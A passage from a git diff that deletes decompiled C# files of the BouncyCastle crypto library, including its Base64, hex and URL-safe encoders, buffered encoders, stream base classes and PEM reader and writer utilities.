decodingTable[(uint)c1]; - byte b2 = decodingTable[(uint)c2]; - if ((b | b2) >= 128) - { - throw new IOException("invalid characters encountered at end of base64 data"); - } - outStream.WriteByte((byte)((b << 2) | (b2 >> 4))); - return 1; - } - if (c4 == padding) - { - byte b3 = decodingTable[(uint)c1]; - byte b4 = decodingTable[(uint)c2]; - byte b5 = decodingTable[(uint)c3]; - if ((b3 | b4 | b5) >= 128) - { - throw new IOException("invalid characters encountered at end of base64 data"); - } - outStream.WriteByte((byte)((b3 << 2) | (b4 >> 4))); - outStream.WriteByte((byte)((b4 << 4) | (b5 >> 2))); - return 2; - } - byte b6 = decodingTable[(uint)c1]; - byte b7 = decodingTable[(uint)c2]; - byte b8 = decodingTable[(uint)c3]; - byte b9 = decodingTable[(uint)c4]; - if ((b6 | b7 | b8 | b9) >= 128) - { - throw new IOException("invalid characters encountered at end of base64 data"); - } - outStream.WriteByte((byte)((b6 << 2) | (b7 >> 4))); - outStream.WriteByte((byte)((b7 << 4) | (b8 >> 2))); - outStream.WriteByte((byte)((b8 << 6) | b9)); - return 3; - } - - private int nextI(string data, int i, int finish) - { - while (i < finish && ignore(data[i])) - { - i++; - } - return i; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/BufferedDecoder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/BufferedDecoder.cs deleted file mode 100644 index 3097561..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/BufferedDecoder.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public class BufferedDecoder -{ - internal byte[] buffer; - - internal int bufOff; - - internal ITranslator translator; - - public BufferedDecoder(ITranslator translator, int bufferSize) - { - this.translator = translator; - if (bufferSize % translator.GetEncodedBlockSize() != 0) - { - throw new ArgumentException("buffer size not multiple of input block size"); - } - buffer = new byte[bufferSize]; - } - - public int ProcessByte(byte input, byte[] output, int outOff) - { - int result = 0; - buffer[bufOff++] = input; - if (bufOff == buffer.Length) - { - result = translator.Decode(buffer, 0, buffer.Length, output, outOff); - bufOff = 0; - } - return result; - } - - public int ProcessBytes(byte[] input, int inOff, int len, byte[] outBytes, int outOff) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int num = 0; - int num2 = buffer.Length - bufOff; - if (len > num2) - { - Array.Copy(input, inOff, buffer, bufOff, num2); - num += translator.Decode(buffer, 0, buffer.Length, outBytes, outOff); - bufOff = 0; - len -= num2; - inOff += num2; - outOff += num; - int num3 = len - len % buffer.Length; - num += translator.Decode(input, inOff, num3, outBytes, outOff); - len -= num3; - inOff += num3; - } - if (len != 0) - { - Array.Copy(input, inOff, buffer, bufOff, len); - bufOff += len; - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/BufferedEncoder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/BufferedEncoder.cs deleted file mode 100644 index 2d2a5cf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/BufferedEncoder.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public class BufferedEncoder -{ - internal byte[] Buffer; - - internal int bufOff; - - internal ITranslator translator; - - public BufferedEncoder(ITranslator translator, int bufferSize) - { - this.translator = translator; - if (bufferSize % translator.GetEncodedBlockSize() != 0) - { - throw new ArgumentException("buffer size not multiple of input block size"); - } - Buffer = new byte[bufferSize]; - } - - public int ProcessByte(byte input, byte[] outBytes, int outOff) - { - int result = 0; - Buffer[bufOff++] = input; - if (bufOff == Buffer.Length) - { - result = translator.Encode(Buffer, 0, Buffer.Length, outBytes, outOff); - bufOff = 0; - } - return result; - } - - public int ProcessBytes(byte[] input, int inOff, int len, byte[] outBytes, int outOff) - { - if (len < 0) - { - throw new ArgumentException("Can't have a negative input length!"); - } - int num = 0; - int num2 = Buffer.Length - bufOff; - if (len > num2) - { - Array.Copy(input, inOff, Buffer, bufOff, num2); - num += translator.Encode(Buffer, 0, Buffer.Length, outBytes, outOff); - bufOff = 0; - len -= num2; - inOff += num2; - outOff += num; - int num3 = len - len % Buffer.Length; - num += translator.Encode(input, inOff, num3, outBytes, outOff); - len -= num3; - inOff += num3; - } - if (len != 0) - { - Array.Copy(input, inOff, Buffer, bufOff, len); - bufOff += len; - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Hex.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Hex.cs deleted file mode 100644 index f5e3b55..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/Hex.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public sealed class Hex -{ - private static readonly IEncoder encoder = new HexEncoder(); - - private Hex() - { - } - - public static string ToHexString(byte[] data) - { - return ToHexString(data, 0, data.Length); - } - - public static string ToHexString(byte[] data, int off, int length) - { - byte[] bytes = Encode(data, off, length); - return Strings.FromAsciiByteArray(bytes); - } - - public static byte[] Encode(byte[] data) - { - return Encode(data, 0, data.Length); - } - - public static byte[] Encode(byte[] data, int off, int length) - { - MemoryStream memoryStream = new MemoryStream(length * 2); - encoder.Encode(data, off, length, memoryStream); - return memoryStream.ToArray(); - } - - public static int Encode(byte[] data, Stream outStream) - { - return encoder.Encode(data, 0, data.Length, outStream); - } - - public static int Encode(byte[] data, int off, int length, Stream outStream) - { - return encoder.Encode(data, off, length, outStream); - } - - public static byte[] Decode(byte[] data) - { - MemoryStream memoryStream = new MemoryStream((data.Length + 1) / 2); - encoder.Decode(data, 0, data.Length, memoryStream); - return memoryStream.ToArray(); - } - - public static byte[] Decode(string data) - { - MemoryStream memoryStream = new MemoryStream((data.Length + 1) / 2); - encoder.DecodeString(data, memoryStream); - return memoryStream.ToArray(); - } - - public static int Decode(string data, Stream outStream) - { - return encoder.DecodeString(data, outStream); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/HexEncoder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/HexEncoder.cs deleted file mode 100644 index 87b1ff0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/HexEncoder.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public class HexEncoder : IEncoder -{ - protected readonly byte[] encodingTable = new byte[16] - { - 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, - 97, 98, 99, 100, 101, 102 - }; - - protected readonly byte[] decodingTable = new byte[128]; - - protected void InitialiseDecodingTable() - { - Arrays.Fill(decodingTable, byte.MaxValue); - for (int i = 0; i < encodingTable.Length; i++) - { - decodingTable[encodingTable[i]] = (byte)i; - } - decodingTable[65] = decodingTable[97]; - decodingTable[66] = decodingTable[98]; - decodingTable[67] = decodingTable[99]; - decodingTable[68] = decodingTable[100]; - decodingTable[69] = decodingTable[101]; - decodingTable[70] = decodingTable[102]; - } - - public HexEncoder() - { - InitialiseDecodingTable(); - } - - public int Encode(byte[] data, int off, int length, Stream outStream) - { - for (int i = off; i < off + length; i++) - { - int num = data[i]; - outStream.WriteByte(encodingTable[num >> 4]); - outStream.WriteByte(encodingTable[num & 0xF]); - } - return length * 2; - } - - private static bool Ignore(char c) - { - if (c != '\n' && c != '\r' && c != '\t') - { - return c == ' '; - } - return true; - } - - public int Decode(byte[] data, int off, int length, Stream outStream) - { - int num = 0; - int num2 = off + length; - while (num2 > off && Ignore((char)data[num2 - 1])) - { - num2--; - } - int i = off; - while (i < num2) - { - for (; i < num2 && Ignore((char)data[i]); i++) - { - } - byte b = decodingTable[data[i++]]; - for (; i < num2 && Ignore((char)data[i]); i++) - { - } - byte b2 = decodingTable[data[i++]]; - if ((b | b2) >= 128) - { - throw new IOException("invalid characters encountered in Hex data"); - } - outStream.WriteByte((byte)((b << 4) | b2)); - num++; - } - return num; - } - - public int DecodeString(string data, Stream outStream) - { - int num = 0; - int num2 = data.Length; - while (num2 > 0 && Ignore(data[num2 - 1])) - { - num2--; - } - int i = 0; - while (i < num2) - { - for (; i < num2 && Ignore(data[i]); i++) - { - } - byte b = decodingTable[(uint)data[i++]]; - for (; i < num2 && Ignore(data[i]); i++) - { - } - byte b2 = decodingTable[(uint)data[i++]]; - if ((b | b2) >= 128) - { - throw new IOException("invalid characters encountered in Hex data"); - } - outStream.WriteByte((byte)((b << 4) | b2)); - num++; - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/HexTranslator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/HexTranslator.cs deleted file mode 100644 index 08417ea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/HexTranslator.cs +++ /dev/null @@ -1,71 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Encoders; - -public class HexTranslator : ITranslator -{ - private static readonly byte[] hexTable = new byte[16] - { - 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, - 97, 98, 99, 100, 101, 102 - }; - - public int GetEncodedBlockSize() - { - return 2; - } - - public int Encode(byte[] input, int inOff, int length, byte[] outBytes, int outOff) - { - int num = 0; - int num2 = 0; - while (num < length) - { - outBytes[outOff + num2] = hexTable[(input[inOff] >> 4) & 0xF]; - outBytes[outOff + num2 + 1] = hexTable[input[inOff] & 0xF]; - inOff++; - num++; - num2 += 2; - } - return length * 2; - } - - public int GetDecodedBlockSize() - { - return 1; - } - - public int Decode(byte[] input, int inOff, int length, byte[] outBytes, int outOff) - { - int num = length / 2; - for (int i = 0; i < num; i++) - { - byte b = input[inOff + i * 2]; - byte b2 = input[inOff + i * 2 + 1]; - if (b < 97) - { - outBytes[outOff] = (byte)(b - 48 << 4); - } - else - { - outBytes[outOff] = (byte)(b - 97 + 10 << 4); - } - if (b2 < 97) - { - byte[] array2; - byte[] array = (array2 = outBytes); - int num2 = outOff; - nint num3 = num2; - array[num2] = (byte)(array2[num3] + (byte)(b2 - 48)); - } - else - { - byte[] array2; - byte[] array3 = (array2 = outBytes); - int num4 = outOff; - nint num3 = num4; - array3[num4] = (byte)(array2[num3] + (byte)(b2 - 97 + 10)); - } - outOff++; - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/IEncoder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/IEncoder.cs deleted file mode 100644 index 673935d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/IEncoder.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public interface IEncoder -{ - int Encode(byte[] data, int off, int length, Stream outStream); - - int Decode(byte[] data, int off, int length, Stream outStream); - - int DecodeString(string data, Stream outStream); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/ITranslator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/ITranslator.cs deleted file mode 100644 index 990d87e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/ITranslator.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Encoders; - -public interface ITranslator -{ - int GetEncodedBlockSize(); - - int Encode(byte[] input, int inOff, int length, byte[] outBytes, int outOff); - - int GetDecodedBlockSize(); - - int Decode(byte[] input, int inOff, int length, byte[] outBytes, int outOff); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/UrlBase64.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/UrlBase64.cs deleted file mode 100644 index 70d7cf6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/UrlBase64.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.Encoders; - -public class UrlBase64 -{ - private static readonly IEncoder encoder = new UrlBase64Encoder(); - - public static byte[] Encode(byte[] data) - { - MemoryStream memoryStream = new MemoryStream(); - try - { - encoder.Encode(data, 0, data.Length, memoryStream); - } - catch (IOException ex) - { - throw new Exception("exception encoding URL safe base64 string: " + ex.Message, ex); - } - return memoryStream.ToArray(); - } - - public static int Encode(byte[] data, Stream outStr) - { - return encoder.Encode(data, 0, data.Length, outStr); - } - - public static byte[] Decode(byte[] data) - { - MemoryStream memoryStream = new MemoryStream(); - try - { - encoder.Decode(data, 0, data.Length, memoryStream); - } - catch (IOException ex) - { - throw new Exception("exception decoding URL safe base64 string: " + ex.Message, ex); - } - return memoryStream.ToArray(); - } - - public static int Decode(byte[] data, Stream outStr) - { - return encoder.Decode(data, 0, data.Length, outStr); - } - - public static byte[] Decode(string data) - { - MemoryStream memoryStream = new MemoryStream(); - try - { - encoder.DecodeString(data, memoryStream); - } - catch (IOException ex) - { - throw new Exception("exception decoding URL safe base64 string: " + ex.Message, ex); - } - return memoryStream.ToArray(); - } - - public static int Decode(string data, Stream outStr) - { - return encoder.DecodeString(data, outStr); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/UrlBase64Encoder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/UrlBase64Encoder.cs deleted file mode 100644 index f75bc43..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Encoders/UrlBase64Encoder.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Encoders; - -public class UrlBase64Encoder : Base64Encoder -{ - public UrlBase64Encoder() - { - encodingTable[encodingTable.Length - 2] = 45; - encodingTable[encodingTable.Length - 1] = 95; - padding = 46; - InitialiseDecodingTable(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Enums.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Enums.cs deleted file mode 100644 index 43ddea4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Enums.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Utilities; - -internal abstract class Enums -{ - internal static Enum GetEnumValue(Type enumType, string s) - { - if (!IsEnumType(enumType)) - { - throw new ArgumentException("Not an enumeration type", "enumType"); - } - if (s.Length > 0 && char.IsLetter(s[0]) && s.IndexOf(',') < 0) - { - s = s.Replace('-', '_'); - s = s.Replace('/', '_'); - return (Enum)Enum.Parse(enumType, s, ignoreCase: false); - } - throw new ArgumentException(); - } - - internal static Array GetEnumValues(Type enumType) - { - if (!IsEnumType(enumType)) - { - throw new ArgumentException("Not an enumeration type", "enumType"); - } - return Enum.GetValues(enumType); - } - - internal static Enum GetArbitraryValue(Type enumType) - { - Array enumValues = GetEnumValues(enumType); - int index = (int)(DateTimeUtilities.CurrentUnixMs() & 0x7FFFFFFF) % enumValues.Length; - return (Enum)enumValues.GetValue(index); - } - - internal static bool IsEnumType(Type t) - { - return t.IsEnum; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IMemoable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IMemoable.cs deleted file mode 100644 index 77a8d79..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IMemoable.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Utilities; - -public interface IMemoable -{ - IMemoable Copy(); - - void Reset(IMemoable other); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/BaseInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/BaseInputStream.cs deleted file mode 100644 index d6aada8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/BaseInputStream.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public abstract class BaseInputStream : Stream -{ - private bool closed; - - public sealed override bool CanRead => !closed; - - public sealed override bool CanSeek => false; - - public sealed override bool CanWrite => false; - - public sealed override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public sealed override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - public override void Close() - { - closed = true; - base.Close(); - } - - public sealed override void Flush() - { - } - - public override int Read(byte[] buffer, int offset, int count) - { - int num = offset; - try - { - int num2 = offset + count; - while (num < num2) - { - int num3 = ReadByte(); - if (num3 != -1) - { - buffer[num++] = (byte)num3; - continue; - } - break; - } - } - catch (IOException) - { - if (num == offset) - { - throw; - } - } - return num - offset; - } - - public sealed override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public sealed override void SetLength(long value) - { - throw new NotSupportedException(); - } - - public sealed override void Write(byte[] buffer, int offset, int count) - { - throw new NotSupportedException(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/BaseOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/BaseOutputStream.cs deleted file mode 100644 index 1b1051c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/BaseOutputStream.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public abstract class BaseOutputStream : Stream -{ - private bool closed; - - public sealed override bool CanRead => false; - - public sealed override bool CanSeek => false; - - public sealed override bool CanWrite => !closed; - - public sealed override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public sealed override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - public override void Close() - { - closed = true; - base.Close(); - } - - public override void Flush() - { - } - - public sealed override int Read(byte[] buffer, int offset, int count) - { - throw new NotSupportedException(); - } - - public sealed override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public sealed override void SetLength(long value) - { - throw new NotSupportedException(); - } - - public override void Write(byte[] buffer, int offset, int count) - { - int num = offset + count; - for (int i = offset; i < num; i++) - { - WriteByte(buffer[i]); - } - } - - public virtual void Write(params byte[] buffer) - { - Write(buffer, 0, buffer.Length); - } - - public override void WriteByte(byte b) - { - Write(new byte[1] { b }, 0, 1); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/FilterStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/FilterStream.cs deleted file mode 100644 index d917707..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/FilterStream.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public class FilterStream : Stream -{ - protected readonly Stream s; - - public override bool CanRead => s.CanRead; - - public override bool CanSeek => s.CanSeek; - - public override bool CanWrite => s.CanWrite; - - public override long Length => s.Length; - - public override long Position - { - get - { - return s.Position; - } - set - { - s.Position = value; - } - } - - public FilterStream(Stream s) - { - this.s = s; - } - - public override void Close() - { - Platform.Dispose(s); - base.Close(); - } - - public override void Flush() - { - s.Flush(); - } - - public override long Seek(long offset, SeekOrigin origin) - { - return s.Seek(offset, origin); - } - - public override void SetLength(long value) - { - s.SetLength(value); - } - - public override int Read(byte[] buffer, int offset, int count) - { - return s.Read(buffer, offset, count); - } - - public override int ReadByte() - { - return s.ReadByte(); - } - - public override void Write(byte[] buffer, int offset, int count) - { - s.Write(buffer, offset, count); - } - - public override void WriteByte(byte value) - { - s.WriteByte(value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/MemoryInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/MemoryInputStream.cs deleted file mode 100644 index 74fc058..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/MemoryInputStream.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public class MemoryInputStream : MemoryStream -{ - public sealed override bool CanWrite => false; - - public MemoryInputStream(byte[] buffer) - : base(buffer, writable: false) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/MemoryOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/MemoryOutputStream.cs deleted file mode 100644 index 06ea6e9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/MemoryOutputStream.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public class MemoryOutputStream : MemoryStream -{ - public sealed override bool CanRead => false; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/NullOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/NullOutputStream.cs deleted file mode 100644 index 7218ac2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/NullOutputStream.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Utilities.IO; - -internal class NullOutputStream : BaseOutputStream -{ - public override void WriteByte(byte b) - { - } - - public override void Write(byte[] buffer, int offset, int count) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemGenerationException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemGenerationException.cs deleted file mode 100644 index 4371f39..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemGenerationException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.IO.Pem; - -[Serializable] -public class PemGenerationException : Exception -{ - public PemGenerationException() - { - } - - public PemGenerationException(string message) - : base(message) - { - } - - public PemGenerationException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemHeader.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemHeader.cs deleted file mode 100644 index 0fb0a34..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemHeader.cs +++ /dev/null @@ -1,46 +0,0 @@ -namespace Org.BouncyCastle.Utilities.IO.Pem; - -public class PemHeader -{ - private string name; - - private string val; - - public virtual string Name => name; - - public virtual string Value => val; - - public PemHeader(string name, string val) - { - this.name = name; - this.val = val; - } - - public override int GetHashCode() - { - return GetHashCode(name) + 31 * GetHashCode(val); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is PemHeader)) - { - return false; - } - PemHeader pemHeader = (PemHeader)obj; - if (object.Equals(name, pemHeader.name)) - { - return object.Equals(val, pemHeader.val); - } - return false; - } - - private int GetHashCode(string s) - { - return s?.GetHashCode() ?? 1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObject.cs deleted file mode 100644 index 0cae77f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObject.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.Utilities.IO.Pem; - -public class PemObject : PemObjectGenerator -{ - private string type; - - private IList headers; - - private byte[] content; - - public string Type => type; - - public IList Headers => headers; - - public byte[] Content => content; - - public PemObject(string type, byte[] content) - : this(type, Platform.CreateArrayList(), content) - { - } - - public PemObject(string type, IList headers, byte[] content) - { - this.type = type; - this.headers = Platform.CreateArrayList(headers); - this.content = content; - } - - public PemObject Generate() - { - return this; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObjectGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObjectGenerator.cs deleted file mode 100644 index adb69c0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObjectGenerator.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Utilities.IO.Pem; - -public interface PemObjectGenerator -{ - PemObject Generate(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObjectParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObjectParser.cs deleted file mode 100644 index e0bf095..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemObjectParser.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Utilities.IO.Pem; - -public interface PemObjectParser -{ - object ParseObject(PemObject obj); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemReader.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemReader.cs deleted file mode 100644 index 1cd6eaf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemReader.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using System.Text; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Utilities.IO.Pem; - -public class PemReader -{ - private const string BeginString = "-----BEGIN "; - - private const string EndString = "-----END "; - - private readonly TextReader reader; - - public TextReader Reader => reader; - - public PemReader(TextReader reader) - { - if (reader == null) - { - throw new ArgumentNullException("reader"); - } - this.reader = reader; - } - - public PemObject ReadPemObject() - { - string text = reader.ReadLine(); - if (text != null && Platform.StartsWith(text, "-----BEGIN ")) - { - text = text.Substring("-----BEGIN ".Length); - int num = text.IndexOf('-'); - string type = text.Substring(0, num); - if (num > 0) - { - return LoadObject(type); - } - } - return null; - } - - private PemObject LoadObject(string type) - { - string text = "-----END " + type; - IList list = Platform.CreateArrayList(); - StringBuilder stringBuilder = new StringBuilder(); - string text2; - while ((text2 = reader.ReadLine()) != null && Platform.IndexOf(text2, text) == -1) - { - int num = text2.IndexOf(':'); - if (num == -1) - { - stringBuilder.Append(text2.Trim()); - continue; - } - string text3 = text2.Substring(0, num).Trim(); - if (Platform.StartsWith(text3, "X-")) - { - text3 = text3.Substring(2); - } - string val = text2.Substring(num + 1).Trim(); - list.Add(new PemHeader(text3, val)); - } - if (text2 == null) - { - throw new IOException(text + " not found"); - } - if (stringBuilder.Length % 4 != 0) - { - throw new IOException("base64 data appears to be truncated"); - } - return new PemObject(type, list, Base64.Decode(stringBuilder.ToString())); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemWriter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemWriter.cs deleted file mode 100644 index c510af3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Pem/PemWriter.cs +++ /dev/null @@ -1,85 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Utilities.IO.Pem; - -public class PemWriter -{ - private const int LineLength = 64; - - private readonly TextWriter writer; - - private readonly int nlLength; - - private char[] buf = new char[64]; - - public TextWriter Writer => writer; - - public PemWriter(TextWriter writer) - { - if (writer == null) - { - throw new ArgumentNullException("writer"); - } - this.writer = writer; - nlLength = Platform.NewLine.Length; - } - - public int GetOutputSize(PemObject obj) - { - int num = 2 * (obj.Type.Length + 10 + nlLength) + 6 + 4; - if (obj.Headers.Count > 0) - { - foreach (PemHeader header in obj.Headers) - { - num += header.Name.Length + ": ".Length + header.Value.Length + nlLength; - } - num += nlLength; - } - int num2 = (obj.Content.Length + 2) / 3 * 4; - return num + (num2 + (num2 + 64 - 1) / 64 * nlLength); - } - - public void WriteObject(PemObjectGenerator objGen) - { - PemObject pemObject = objGen.Generate(); - WritePreEncapsulationBoundary(pemObject.Type); - if (pemObject.Headers.Count > 0) - { - foreach (PemHeader header in pemObject.Headers) - { - writer.Write(header.Name); - writer.Write(": "); - writer.WriteLine(header.Value); - } - writer.WriteLine(); - } - WriteEncoded(pemObject.Content); - WritePostEncapsulationBoundary(pemObject.Type); - } - - private void WriteEncoded(byte[] bytes) - { - bytes = Base64.Encode(bytes); - for (int i = 0; i < bytes.Length; i += buf.Length) - { - int j; - for (j = 0; j != buf.Length && i + j < bytes.Length; j++) - { - buf[j] = (char)bytes[i + j]; - } - writer.WriteLine(buf, 0, j); - } - } - - private void WritePreEncapsulationBoundary(string type) - { - writer.WriteLine("-----BEGIN " + type + "-----"); - } - - private void WritePostEncapsulationBoundary(string type) - { - writer.WriteLine("-----END " + type + "-----"); - } 